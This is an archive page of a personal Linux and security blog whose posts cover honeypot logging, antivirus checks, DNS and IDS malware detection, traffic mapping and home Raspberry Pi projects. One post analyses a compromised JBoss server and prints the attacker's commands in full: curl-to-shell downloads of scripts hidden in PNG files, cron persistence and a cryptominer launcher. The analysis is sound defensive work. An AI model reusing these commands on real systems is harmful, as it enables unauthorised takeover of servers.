Archive for the ‘Linux’ tag

Control code usernames in telnet honeypot  

Posted at 9:19 am in Uncategorized

By running a Cowrie honeypot, I’m gathering interesting information about various kinds of exploits, vulnerabilities, and botnets. Upon a discovery of a new Linux-based vulnerability – often targeting network routers, IoT devices, and lately many IP camera products – the botnets will usually come in waves, testing the new exploits.

The honeypot logs everything the intruders to. In addition to extracting and submitting useful indicators to threat intelligence resources like VirusTotal and AlienVault’s Open Threat Exchange, I’m processing the logs in an Elastic stack for graphing and trending. As shown below, there’s a section of the Kibana dashboard that details activity by time range and geolocation, and I’m also listing the top 10 usernames and passwords used by intruders trying to gain access.

Parts of my Cowrie dashboard in Kibana

Parts of my Cowrie dashboard in Kibana

This morning I briefly checked the top 10 usernames tag cloud when something unusual caught my eye.

KIbana username tag cloud

It wasn’t the UTF rectangle added to the “shell” and the “enable” user names, these are really shell\u0000, enable\u0000, sh\u0000 and are appearing quite frequently nowadays. What caught my eye was this tiny, two-character username, looking like an upside-down version of the astrological sign for Leo and a zigzag arrow.

Weird username from tag cloud

Upon closer inspection, the username is actually \u0014\t\t\u0012 – “Device Control 4”, two TABs, and “Device Control 2”.

One of the passwords used with this username was \u0002\u0003\u0000\u0007\u0013 – visualized in Kibana as follows:

Other passwords from the same IPs also include different control codes, beautifully visualized by Kibana as shown below:

From the Cowrie logs, the first occurrences in my honeynet were 2017-12-16. Exactly what kind of vulnerability these control codes are targeting is not known to me yet, but I am sure we will find out over the next few days.

Written by bjorn on December 21st, 2017

Tagged with , , , , , , , ,

Covert channels: Hiding shell scripts in PNG files  

Posted at 11:15 am in Uncategorized

A colleague made me aware of a JBoss server having been compromised. Upon inspection, one of the processes run by the JBoss user account was this one:

sh -c curl hxxp:// -k|dd skip=2446 bs=1|sh


This is a rather elegant way of disguising malicious code. If we first take a look at the png file:

$ file beauty-287196.png
beauty-287196.png: PNG image data, 160 x 160, 8-bit colormap, non-interlaced


Then, let’s extract its contents like the process shown above does:

$ cat beauty-287196.png | dd skip=2446 bs=1 >
656+0 records in
656+0 records out
656 bytes copied, 0,00166122 s, 395 kB/s
$ file ASCII text


Lo and behold, we now have a shell script file with the following contents:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
curl hxxp:// -k|dd skip=2446 bs=1|sh
echo "*/60 * * * * curl hxxp:// -k|dd skip=2446 bs=1|sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/60 * * * * curl hxxp:// -k|dd skip=2446 bs=1|sh" > /var/spool/cron/crontabs/root
(crontab -l;printf '*/60 * * * * curl hxxp:// -k|dd skip=2446 bs=1|sh \n')|crontab -
while true
        curl hxxp:// -k|dd skip=2446 bs=1|sh
        sleep 3600


As we can see, the shell script will try to replace different users’ cron schedules with the contents from a downloaded file. This is the shell script extract from the beauty-036457.png file:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
days=$(($(date +%s) / 60 / 60 / 24))
    curl -kL -o /tmp/11232.jpg hxxp://
    dd if=/tmp/11232.jpg skip=7664 bs=1 of=/tmp/11231
    curl -kL -o /tmp/11234.jpg hxxp://
    dd if=/tmp/11234.jpg skip=10974 bs=1 of=/tmp/11233
    chmod +x /tmp/11231
    nohup /tmp/11231 -c /tmp/11233 &
    sleep 10
    rm -rf /tmp/11234.jpg
    rm -rf /tmp/11233
    rm -rf /tmp/11232.jpg
    rm -rf /tmp/11231
ps auxf|grep -v grep|grep ${days}|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "logind.conf"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworker"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep ""|awk '{print $2}'|xargs kill -9
pkill -f 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4 
pkill -f 4AniF816tMCNedhQ4J3ccJayyL5ZvgnqQ4X9bK7qv4ZG3QmUfB9tkHk7HyEhh5HW6hCMSw5vtMkj6jSYcuhQTAR1Sbo15gB 
pkill -f 4813za7ePRV5TBce3NrSrugPPJTMFJmEMR9qiWn2Sx49JiZE14AmgRDXtvM1VFhqwG99Kcs9TfgzejAzT9Spm5ga5dkh8df 
pkill -f cpuloadtest 
pkill -f crypto-pool 
pkill -f xmr 
pkill -f prohash 
pkill -f monero 
pkill -f miner
pkill -f nanopool 
pkill -f minergate 
ps auxf|grep -v grep|grep ""|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "crypto-pool"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "prohash"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "monero"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "miner"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "nanopool"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "minergate"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep ""|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep ""|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep ""|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep ""|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "49JsSwt7MsH5m8DPRHXFSEit9ZTWZCbWwS7QSMUTcVuCgwAU24gni1ydnHdrT9QMibLtZ3spC7PjmEyUSypnmtAG7pyys7F"|awk '{print $2}'|xargs kill -9 
ps auxf|grep -v grep|grep "479MD1Emw69idbVNKPtigbej7x1ZwFR1G3boyXUFfAB89uk2AztaMdWVd6NzCTfZVpDReKEAsVVBwYpTG8fsRK3X17jcDKm"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "11231" || DoMiner


The shell script starts by downloading even more resources, then looking for – and killing – competing BitCoin mining processes. Finally, it starts its own BitCoin miner. I’ll describe the downloaded components:

The first file it downloads (art-061574.png) is, after extraction, a binary:

$ file 11231
11231: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped


The extracted file’s MD5/SHA1/SHA256 hashes are as follows:



Based on its checksum, the file is a BitCoin miner very well known by Virustotal.

The next file it downloads (pink-086153.png)  is – after extraction – a config file. Its contents are:

 "url" : "stratum+tcp://",
 "url" : "stratum+tcp://",
 "url" : "stratum+tcp://",
 "url" : "stratum+tcp://",
 "url" : "stratum+tcp://",
 "url" : "stratum+tcp://",
 "url" : "stratum+tcp://",
 "user" : "[ID]",
 "pass" : "x",
 "algo" : "cryptonight",
 "quiet" : true


We see that the script executes the first downloaded component (the ELF binary) with the other downloaded component as its config. Since this compromise never obtained root privileges, root’s cron jobs were never impacted.

The interesting about this compromise was not the binaries themselves, nor the fact that the JBoss server was vulnerable – but the covert transport mechanisms. We found no less than four different BitCoin miner binaries in the JBoss account’s home directory, indicating that several bots have been fighting over this server. As an additional bonus, the following entry was found in the JBoss account’s crontab:

*/1 * * * * curl 107.182.21 . 232/_x2|sh


The _x2 file contains the following shell script:

if [ ! -f $AGENT_FILE ]; then
 curl 107.182.21 . 232/cpux > $AGENT_FILE
if [ ! -x $AGENT_FILE ]; then
 chmod +x $AGENT_FILE
ps -ef|grep $AGENT_FILE|grep -v grep
if [ $? -ne 0 ]; then
 nohup $AGENT_FILE -a cryptonight -o stratum+tcp:// -u [ID] -p x > /dev/null 2>&1 &


The cpux file is also thoroughly registered in Virustotal (at the time of writing, 29 antivirus products identify it as malicious). It has the same checksums as the 11231 file described earlier.


Written by bjorn on April 21st, 2017

Tagged with , , , ,

Icinga/Nagios check for Sophos antivirus signature freshness  

Posted at 9:19 pm in Uncategorized

I’ve been running Amavisd-new with scanner components like ClamAV and SpamAssassin on the mail relay for my personal mail for several years. Lately I’ve been thinking that since Amavis supports multiple content scanners I should add another antivirus product. Unfortunately there’s a limited number of free (for home/individual use) antivirus products running on Linux, and quite a few of them are not being maintained, but I found a very promising candidate from Sophos.

Adding Sophos antivirus for Linux to Amavisd-new wasn’t all that difficult (and is covered by other articles elsewhere), but one thing was missing to complete the picture: An automated method for checking whether Sophos is running with updated antivirus signature files. I was hoping to find or write something that could be used with Icinga (or Nagios).

Conveniently, Sophos provides an XML URL containing the file name and md5sum of the latest signature file. Below is the status file at the time of writing:

<?xml version="1.0" encoding="utf-8"?>


Having found the status file, writing a short script didn’t take long. I’m using xmlstarlet for better readability. The script is stored as /usr/local/bin/check_sophos.



/usr/bin/GET | \
/usr/bin/xmlstarlet fo | \
/usr/bin/awk -F \(\<\|\>\) '{print $2" "$3}' | \
while read attribute value; do
  if [ "$attribute" = "name" ]; then
  elif [ "$attribute" = "md5" ]; then
  if [ "x$FILE" != "x" -a "y$MD5SUM" != "y" ]; then
    if [ ! -e "${SOPHOSDIR}/${FILE}" ]; then
      echo "WARNING: Sophos has not yet downloaded its latest signature file."
      exit 1
    CHECKSUM=$(/usr/bin/md5sum "${SOPHOSDIR}/${FILE}" | /usr/bin/awk '{ print $1 }')
    if [ "$CHECKSUM" = "$MD5SUM" ]; then
      echo "OK: Newest signature file ${FILE} has the correct checksum ($MD5SUM)"
      exit 0
      echo "WARNING: ${FILE} seems to be outdated."
      exit 1
    # Cleanup
    FILE=""; MD5SUM="";


As those fluent in shell scripting will easily see, the script reads the XML status URL and extracts the file name and md5sum of the most recent antivirus signature file. Then the script checks for the file’s existence, and triggers a warning if the file isn’t there. If the file is present, its md5sum is compared to what should be expected from the XML status URL.

After testing the script I added it to Icinga via NRPE, so now I’ll be getting a notice if something’s wrong with Sophos’ antivirus update.

Written by bjorn on January 18th, 2017

Tagged with , , , , , , , , ,

Malware detection with DNS RPZ and OSSEC  

Posted at 2:06 pm in Uncategorized

Building upon a sysadvent article I wrote at work, I’ve set up a dedicated Response Policy Zone using the freely available data files from the Malware Domain Blocklist. There are different ways to do this, but for this particular purpose I’ve imported the text file and generated a single zone file locally. BIND supports up to 32 RPZs, so in my config I’ve set this up as a separate zone, referenced as “malware”.

Below is the zone definition:

zone "malware" {
  type master;
  file "/etc/bind/db.malwaredomains";

Defining the “malware” zone as an RPZ (I have two response policy zones, one simply named rpz and now this one named malware):

options {
  response-policy { zone "rpz"; zone "malware"; };

Configure logging. The zones defined in the above response-policy {} setting fall under the rpz logging category.

logging {
  channel named-rpz {
    file "/var/log/bind/rpz.log" versions 3 size 250k;
    severity info;
  category rpz {

In the BIND log files, requests for domains in the malware zone are logged in the RPZ log file, suffixed with the zone reference, namely “malware”.

client ( rpz QNAME Local-Data rewrite via

After testing that attempts to reach malware sites are indeed logged by the DNS server, I configured OSSEC to tail BIND’s malware query log. For this I had to write a decoder and define logging rules in OSSEC, shown below. These could probably be drastically improved.

The end result is exactly as I wanted: If someone (or something) on my network is trying to reach a resource within a domain registered as affiliated with malware, OSSEC will react and alert by email, raise an alarm in your SIEM, or whatever else you want OSSEC to do.

From /var/ossec/etc/local_decoder.xml:

<decoder name="malware-dns">
  <prematch>^client </prematch>
<decoder name="malware-dns-lookup">
  <regex offset="after_parent">^(\.+)#\d+ \((\.+)\): \.+.malware$</regex>
  <order>srcip, extra_data</order>

From /var/ossec/rules/malware_dns_rules.xml:

<group name="syslog,bind">
  <rule id="110201" level="0">
    <description>Malware DNS group</description>
  <rule id="110202" level="8">
    <description>Malware DNS lookup</description>

From /var/ossec/etc/ossec.conf:


Now, if something should reach out to a malware domain, I will get an email from my OSSEC server:

Received From: server->/var/log/bind/rpz.log
Rule: 110202 fired (level 8) -> "Malware DNS lookup"
Portion of the log(s):

client (
rpz QNAME Local-Data rewrite via


Written by bjorn on December 8th, 2015

Tagged with , , , , , ,

Geomapping network traffic  

Posted at 11:28 pm in Uncategorized

Did you ever wonder where your network traffic goes (and originates from)? With the SiLK suite and optionally some JavaScript map classes it’s quite easy to find out.

SiLK is a tool quite equal to Cisco‘s NetFlow, and SiLK does indeed accept NetFlow output from a router. Just like NetFlow tools, SiLK stores network traffic metadata (like “when” and “where”, but not “what”), so as opposed to capturing the complete network traffic SiLK can store a lot of information over a long time without eating too much disk space. In my setup I’ve configured my Mikrotik router to transmit traffic flow data to a Linux server running SiLK.

With GeoIP mapping, SiLK can identify the country of source and destination IP addresses. Combined with a “top 20” construct, it turned out easier than expected to create a world map like this:

Network traffic world map

For the map I’ve been using the very useful JavaScript interactive Highchart maps (Highmaps) from the Norwegian company Highsoft. To feed the map with data I wrote a small piece of code that converts the output from SiLK’s rwfilter/rwstats output to JSON, which makes the map dynamically update itself upon refresh.

World map percentage from SwitzerlandAs shown on the screenshot to the left, when hovering the mouse over each bubble the JavaScript map code will show the percentage value of the traffic associated with the different countries. When identifying traffic from unexpected sources you can use the command line based SiLK tools to drill down in order to find out what’s really going on, like in this case when I was wondering what was being transferred from Switzerland (it turned out to be some Flash movies the kids were watching). In addition to the command line tools there are also GUI and web based interfaces for querying SiLK data. The command used to find the source IP and port for the traffic originating from Switzerland (.ch) is shown below:

# rwfilter --start-date=2015/10/09 --end-date=2015/10/09 \
 --proto=0-255 --type=all --pass=stdout --scc='ch' | rwstats --top \
 --count=5 --fields=sip,sport --value=bytes
INPUT: 327 Records for 19 Bins and 39783096 Total Bytes
OUTPUT: Top 5 Bins by Bytes
          sIP|sPort|               Bytes|    %Bytes|   cumul_%|| 1935|            38839614| 97.628435| 97.628435||   80|              476083|  1.196697| 98.825132|| 1935|              402414|  1.011520| 99.836652||   80|               15276|  0.038398| 99.875050||  443|                9328|  0.023447| 99.898497|


There’s a few snags with my setup, but with some tweaking it gives a general idea and I think I’ve handled the corner cases. These are the knows issues – so far:

  • This setup is a NATed IPv4 network environment. In order to detect inbound traffic I have to enter my router’s outside address as the destination. This address might change now and again, breaking historical data.
  • I’m also running an IPv6 network provided by ( My allocated IPv6 ranges are consequently registered as physically located in the US, so SiLK will register any internal-only IPv6 network traffic as based in the US, increasing that percentage.

Written by admin on October 9th, 2015

Tagged with , , , , , ,

VIsualizing firewall activity  

Posted at 7:35 am in Uncategorized

Inspired by the efforts of a previous Redpill Linpro colleague, Espen Grøndahl, I’ve revived (or rather re-invented) his project “Fireplot”. By analyzing and filtering firewall logs, Fireplot graphs attempts to access blocked firewall ports, visualizing unexpected and unwanted activity towards my network.


Firewall activity visualization – click image for original size

The Y axis is logarithmic, since activity towards lower ports is often more interesting. Over 24 hours, one graph per day, TCP activity is plotted in green and UDP activity in light blue. Note the horizontal line showing SSH (TCP port 22) and telnet (TCP port 23) probes. The graph also shows a very regular probing for UDP port 7.

I’m currently parsing logs from a Mikrotik firewall/router, but since the data gathering is merely a matter of an appropriate regular expression it shouldn’t be difficult to make it graph iptables logs or other firewall-ish log data.

The Perl code is very much in beta state at the moment, so I won’t publish any code just yet. Stay tuned for updates. Meanwhile, visit Lars Strand’s inspiring article on the original project!

Written by bjorn on October 8th, 2015

Tagged with , , , , ,

Mobile entertainment center  

Posted at 8:25 pm in Uncategorized

Our three kids very seldom agree which TV program or movie to watch. Allowing for less discussion when screen time is granted, I’ve set up a mobile entertainment center where each kid may watch the movie of their choice – this may be used during long drives, on trains or buses, and everywhere else where there’s low or no voltage and a need to grant the kids some screen time.

The setup is simple, using a Raspberry Pi B+ running Raspbian and a Mikrotik mAP2n. The RPi is directly connected to the mAP2n with an Ethernet cable. Both are/can be powered by microUSB voltage and cable. The RPi is also equipped with a USB WiFi adapter, configured as a WiFi client, so when the unit is within range of the wireless network at home I can update it and transfer media files to it.


The two units tied together with velcro. When finalizing the project I will need to find a better case.

Packages installed on the RPi

After having slimmed down the RPi by removing any package not needed, I installed minidlna. While the minidlna project was recently renamed to ReadyMedia, in Debian/Raspbian it still goes by its former name. To administer the mAP2n from the RPi I also installed mactelnet, and to make sure both units logged with useful timestamps I added an ntp server. Finally, it seems the mAP2n does not support running a DHCP server, so I left that to the RPi (isc-dhcp-server). The DHCP server listens only on eth0, to which the mAP2n is connected.

Configuring the tablets

On each kid’s tablet, I installed a DLNA controller (I chose the Ginkgo DLNA player, but I assume any kind of DLNA/UPnP controller will do). Note that the Ginkgo DLNA player is simply streaming from the media center to the device, but not rendering the content – you will need something else for that. I’m very fond of VLC for Android and it works excellent in this use case.

Setting up the mAP2n

Configuring the mAP2n as an AP/bridge, a separate SSID was configured. The mAP2n synchronizes its clock to the RPi. The interfaces wlan1 and ether2 are bridged, and the bridge holds the unit’s IP address.


In essence:

  1. Install Raspbian on a Raspberry Pi.
  2. Install minidlna and isc-dhcp-server.
  3. Configure wlan0, supplying SSID and credentials, for being a WiFi client.
  4. Make sure you can SSH to the RPi over the wlan0 interface. When successful, configure static IP on eth0.
  5. Connect ether2 on mAP2n to eth0 on the RPi.
  6. Configure the mAP2n as an AP/bridge. Set up SSID and credentials for the AP.
  7. Set up the tablets for DNLA streaming.
Note the USB WiFi adapter, providing wireless update of the RPi unit when within range of the home network.

Note the USB WiFi adapter, providing wireless update of the RPi unit when within range of the home network.

Configuration snippets

Configuration for RPi network /etc/network/interfaces:

auto lo
iface lo inet loopback
auto wlan0
iface wlan0 inet dhcp
    wpa-ssid YourSSID
    wpa-psk SomeSecretPassword
auto eth0
iface eth0 inet static


DHCP server configuration file /etc/dhcp/dhcpd.conf:

ddns-update-style none;
default-lease-time 600;
max-lease-time 7200;
subnet netmask {


DHCP server configuration file /etc/default/isc-dhcp-server:



Minidlna configuration file /etc/minidlna/minidlna.conf:

# These are all defaults


mAP2n configuration (sensitive data removed):

[admin@YourAP] > /export
/interface bridge
add name=bridge
/interface wireless security-profiles
set [ find default=yes ] authentication-types=wpa2-psk \
    mode=dynamic-keys supplicant-identity=MikroTik \
add authentication-types=wpa2-psk mode=dynamic-keys \
    name=YourAP supplicant-identity=YourAP \
    wpa-pre-shared-key=SecretPassword \
/interface wireless
set [ find default-name=wlan1 ] band=2ghz-b/g/n \
    country=norway disabled=no frequency=auto \
    l2mtu=1600 mode=ap-bridge security-profile=YourAP \
/interface bridge port
add bridge=bridge interface=ether2
add bridge=bridge interface=wlan1
/ip address
add address= interface=bridge network=
/system clock
set time-zone-name=Europe/Oslo
/system identity
set name=YourAP
/system leds
set 3 interface=wlan1
/system ntp client
set enabled=yes primary-ntp=



Throughput with three concurrent players showing .mkv movies (720×576 px, 25fps, H264 MPEG-4 AVC, MPEG AAC) sometimes peaks at around 22 Mb/s, and the RPi doesn’t break a sweat when serving at that speed. Obviously different formats would affect the RPi load and WiFi throughput.

Attaching a 4 x AA portable battery pack as shown below, the two units (mAP2n USB powered from the RPi) were running for more than three and a half hour, and during this period they streamed movies to one tablet for two and a half hour.

Exibel battery pack bought from Clas Ohlson.

Exibel battery pack bought from Clas Ohlson.

And for those who might ask: Yes, a Raspberry Pi could simply be equipped with two WiFi adapters, one for client access and for for AP. There are lots of different approaches to this. In my case, I had a spare mAP2n just lying there…

Written by bjorn on May 3rd, 2015

Tagged with , , , ,

CRS serial console with kermit  

Posted at 10:57 am in Uncategorized

For those still inclined to use kermit for serial console access, these are the commands for connecting to a MikroTik CRS125 with default settings:

# kermit
C-Kermit 8.0.211, 10 Apr 2004, for Linux
Copyright (C) 1985, 2004,
Trustees of Columbia University in the City of New York.
Type ? or HELP for help.
(/root/) C-Kermit>set line /dev/ttyUSB0
(/root/) C-Kermit>set speed 115200
/dev/ttyUSB0, 115200 bps
(/root/) C-Kermit>set carrier-watch off
(/root/) C-Kermit>connect

Written by bjorn on April 10th, 2015

Tagged with , , ,

IDS with MikroTik and Snort  

Posted at 7:07 pm in Uncategorized

UPDATE: For more flexible streaming, and for not having to hack your Snort init scripts, you might want to consider this article as well. Now back to the scheduled program.

Port mirroring on a strategically positioned switch can be the best setup for an IDS sensor. If that’s not an option, RouterOS-based MikroTik devices support capturing network traffic, streaming it to a remote target using the TZSP protocol. This functionality is available in RouterOS and extended support is provided by the calea package.

Configuring a remote IDS device with MikroTik has been described elsewhere, for instance here and here, but since my plan involved an ARM based Raspberry Pi, MikroTik’s trafr mentioned in those articles could not be used since it’s for x86 only and the source code does not seem to be available. Luckily I found tzsp2pcap which converts the TZSP stream from the MikroTik device into a pcap stream readable by Snort.

My setup

The setup used for this project consists of an RB2011UAS-RM (model is now EOL, replaced by RB2011UiAS-RM) acting as NAT firewall/router, and a Raspberry Pi B+ unit on which I installed Raspbian. The firewall connects to my ISP over a dedicated VLAN, so the outside interface with an official IP address is a bridge VLAN interface named bridge-vlan02-untagged. This will also be the capturing interface.

Note that the traffic capture takes place after NAT, so with this setup Snort will see traffic initiated from the inside as having the official IP address. In other words, you will not see the origin IP address of any suspicious outbound activity.

Compiling tzsp2pcap

Building tzsp2pcap requires the packages git, build-essential and libpcap0.8-dev. Now git clone or download the tzsp2pcap source code. To make tzsp2pcap compile on Raspbian I also had to modify the Makefile somewhat, from

cc -std=c99 -o $@ $(CFLAGS) $(LDFLAGS) -lpcap $<


cc -std=gnu99 -o $@ $(CFLAGS) $(LDFLAGS) -lpcap $<


After this modification, compile the code:

$ make
cc -std=gnu99 -o tzsp2pcap -Wall -Wextra -pedantic -O2 -lpcap tzsp2pcap.c
tzsp2pcap.c: In function ‘main’:
tzsp2pcap.c:355:12: warning: format ‘%lx’ expects argument of type ‘long unsigned int’, but argument 3 has type ‘int’ [-Wformat]
tzsp2pcap.c:355:12: warning: format ‘%lx’ expects argument of type ‘long unsigned int’, but argument 4 has type ‘int’ [-Wformat]

You should end up with a binary file named tzsp2pcap. Move it to /usr/local/sbin/ or similar.

IPv6 requirement

Note that tzsp2pcap seems to have been programmed to require IPv6 support even if IPv6 is not necessarily in use. If you get this message:

# tzsp2pcap
socket(): Address family not supported by protocol
Could not setup tzsp listener

…you’ll need to modprobe ipv6 or otherwise enable IPv6.

Verifying the capture

Now it’s time to test the reception of the traffic capture stream. First, start the tzsp2pcap listener, piping the result into tcpdump for making sense of it:

# tzsp2pcap -f | tcpdump -n -q -c 10 -r -

Then start the traffic capture on the MikroTik device. The IP address is where you run tzsp2pcap.

/tool sniffer
set file-limit=0KiB filter-interface=bridge-vlan02-untagged memory-limit=0KiB streaming-enabled=yes streaming-server=

In your tcpdump session, you should now see something like this:

IP [ip].49386 > tcp 51
IP > [ip].49386: tcp 85
IP [ip].49386 > tcp 0
IP [ip].4100 > UDP, length 419
IP > [ip].4100: UDP, length 547
IP > igmp

When started as shown above, tcpdump will stop by itself after having received 10 packets. If you see something similar to this, that means that both your MikroTik device and your tzsp2pcap listener are working correctly and you should give yourself a pat on the back!

Installing and testing Snort

Installing Snort is the easiest part: aptitude install snort. After answering the questions during the installation, allow Snort to start. Find out how the process is run:

# ps -ef | grep snort

You should see something like this:

snort 5628 1 1 12:22 ? 00:00:00 /usr/sbin/snort -m 027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf -S HOME_NET=[] -i eth0

The above is required since we will not be running Snort in a normal fashion. Now stop Snort, and make sure it doesn’t start by itself at boot:

# update-rc.d -f snort remove

Based on the above findings and your own preferences, including what’s defined in snort.conf and any related config files, you should now be ready to forward the stream from the listener and into Snort. Note the ‘-r -‘ at the end, that’s what makes Snort analyze traffic received on STDIN.

# tzsp2pcap -f | snort -m 027 -d -u snort -g snort \
-c /etc/snort/snort.conf -r -

If everything runs as it should, you should start seeing some alerts trickling in. The default log file seems to be /var/log/snort/alert which is nice for debugging and testing. For those somewhat serious about running an IDS, storing alerts to a database will be the better approach.

Some sample output from /var/log/snort/alert:

[**] [1:553:7] POLICY FTP anonymous login attempt [**]
[Classification: Misc activity] [Priority: 3] 
03/14-15:11:12.287084 [ip]:43920 -> [ip]:21
TCP TTL:63 TOS:0x0 ID:0 IpLen:40 DgmLen:88
***AP*** Seq: 0xD87294F5  Ack: 0x7105DEA6  Win: 0xDA  TcpLen: 32
TCP Options (3) => NOP NOP TS: 313122335 3732452130

[**] [1:1321:8] BAD-TRAFFIC 0 ttl [**]
[Classification: Misc activity] [Priority: 3] 
03/14-15:54:18.504939 [ip] -> [ip]
IPV6-FRAG TTL:119 TOS:0x0 ID:625848831 IpLen:40 DgmLen:1096
Frag Offset: 0x016A   Frag Size: 0x0420
[Xref =>]

[**] [1:1417:9] SNMP request udp [**]
[Classification: Attempted Information Leak] [Priority: 2] 
03/14-16:08:20.293852 -> [ip]:161
UDP TTL:245 TOS:0x0 ID:54321 IpLen:20 DgmLen:61
Len: 33
[Xref =>]
[Xref =>]
[Xref =>]
[Xref =>]
[Xref =>]

[**] [1:469:3] ICMP PING NMAP [**]
[Classification: Attempted Information Leak] [Priority: 2] 
03/14-16:52:10.022351 [ip] -> [ip]
ICMP TTL:37 TOS:0x0 ID:64264 IpLen:20 DgmLen:28
Type:8  Code:0  ID:46546   Seq:0  ECHO
[Xref =>]

[**] [1:524:8] BAD-TRAFFIC tcp port 0 traffic [**]
[Classification: Misc activity] [Priority: 3] 
03/14-17:15:57.591933 -> [ip]:0
TCP TTL:50 TOS:0x0 ID:0 IpLen:20 DgmLen:40 DF
******S* Seq: 0x6F024630  Ack: 0x0  Win: 0x2000  TcpLen: 20


Maintaining and tuning Snort

Configuring, maintaining and tuning Snort further is a (large) job in itself, and should be customized according to your own requirements. See the excellent Snort documentation for more on this topic.

System loads

With a network usage at around 7-8 Mb/s, the RB2011 uses about 40-45% CPU with traffic capture enabled, as opposed to 10-15% without traffic capture.

The Raspberry Pi B+ running Snort uses almost no CPU in regular use, but about 90-100% CPU with a load average between 1 and 2 analyzing the network traffic during the download. For this purpose a Raspberry Pi 2 would probably be better suited.

UPDATE: A new test with other hardware shows the following loads:

With 7-8 Mb/s throughput, an RB450G performs at about the same load as the RB2011. Replacing the Snort sensor with a Raspberry Pi 2 shows quite an improvement: Where the regular RPi B+ spent all its CPU resources on traffic analysis (load values between 1 and 3), the RPi2 has a load of 10-15% (load values between 0.10 and 0.15).

Written by bjorn on March 14th, 2015

Tagged with , , , , , ,

Streaming from an underwater camera with a Raspberry Pi  

Posted at 8:45 pm in Uncategorized


Among this summer’s projects was getting an underwater camera online and streaming. The camera is placed within a fishing device designed like a cage, called Kjærra, dating back to the 14th century. The trap has a one-way entry; the fish enters the cage and can’t escape, and is subsequently extracted from the cage. When the trap is opened, the salmon (or trout) inside will be auctioned off to the spectators.

Underwater camera

Underwater camera

Starting with the camera itself, an underwater camera was acquired. The camera unit was secured between two pieces of wood, to make mounting easier and to prevent the camera from being destroyed or dismounted when the fish are extracted from the cage. The camera comes with a 20 meter cable which we led to a nearby dry location, where it’s powered from a battery and charger, providing a stable power source. The camera even has LEDs for night vision, but we’re not using it since it could confuse and scare the fish.

Finding underwater cameras that provide IP network video streams seemed quite impossible. This camera was no exception, providing only regular video signal (the good old yellow RCA plug). To convert the video signal into a computer readable format, we connected the very portable Vivotek VS8100 video server. Apart from the 12V power plug, the unit offers a video signal socket (BNC) and an RJ45 network socket. The unit could even be directly connected to the 12V power cable already provided with the camera.

Video server

Video server

The final piece was of course a Raspberry Pi mini computer, completing the chain by connecting it to the video server. Running the brilliant piece of software avconv, the Raspberry Pi pulls an RTSP video stream from the video server and converts it into an RMTP video stream which in turn is accepted by the streaming distribution server, an Adobe Flash Media Server 3.5. When we’re not streaming live, a short film with some useful information is shown instead.

When streaming live, what the camera sees may be viewed at Østlands-posten’s site. Østlands-posten is hosting the stream distribution; thanks a lot!

Also thanks to Magnus and Lasse at Arkena for hints and clues in this project.

This is the avconv command line, with any sensitive information redacted:

/usr/bin/avconv \
 -i rtsp://underwatercam:554/live.sdp \
 -f flv \
 -vcodec copy \
 -an \
 rtmp://fms-server/path?doPublish=MyPassword/streamName >/dev/null 2>&1

Written by bjorn on July 7th, 2014

Tagged with , , , ,